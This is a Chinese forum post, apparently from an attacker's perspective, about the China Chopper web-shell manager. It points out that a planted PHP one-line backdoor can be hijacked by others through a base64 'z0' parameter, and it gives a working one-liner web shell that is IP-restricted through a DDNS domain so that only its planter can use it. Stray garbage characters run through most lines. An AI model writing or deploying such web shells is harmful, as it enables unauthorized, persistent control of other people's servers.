今天试了下“中国菜刀”这款C/S的WEB管理软件,发现一个致命的漏洞1 r7 G5 n2 ]. r" d
: S& R8 f) U8 K! ?4 F& s+ d4 R: i
就算你设置了密码,使用了eval($_REQUEST['moyo']);0 Q$ _0 S, c ~0 h1 ~, s) b1 I
1 _. R- p, I0 O" k: e4 V
但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门7 {; B3 S4 G( c- T% e' a( L* O
0 _' Q& D8 N4 j# i" x7 F1 |& W因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0]));
; O: ]& y! u' H5 a1 e" y2 w: X: t3 R9 L( E6 C. {' F
直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了# c4 M& U) h A0 K* o1 f, s
3 m, J8 {. A/ T; l0 E不知道是设计缺陷还是故意留的后门
; n% H9 y/ L9 |: f3 O! p* Z/ }& @8 |
如果有人使用一句话之类的密码,有个小技巧可以避免自己的一句话被人盗用
0 p% J# S% F" p' I+ O. W6 m E0 U9 E& Y. g4 L4 M
本地使用花生壳之类的DDNS软件,比如分配域名是moyo.apiz.org
" i2 k" E1 { W2 P. q1 Y: ~
0 s, }) E+ v( S" i- K+ _" L( @然后一句话后门这样写
9 t, {6 X, `( [1 C: j" p/ {( C
: R8 f( x. M ?2 d" }' A<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>
% s0 ]9 c2 x) n q! {+ R这样就可以让一句话后门只允许自己的电脑连接了 U; L8 r4 p) \ Y& m
6 Y9 O6 ?" |* q9 m$ J |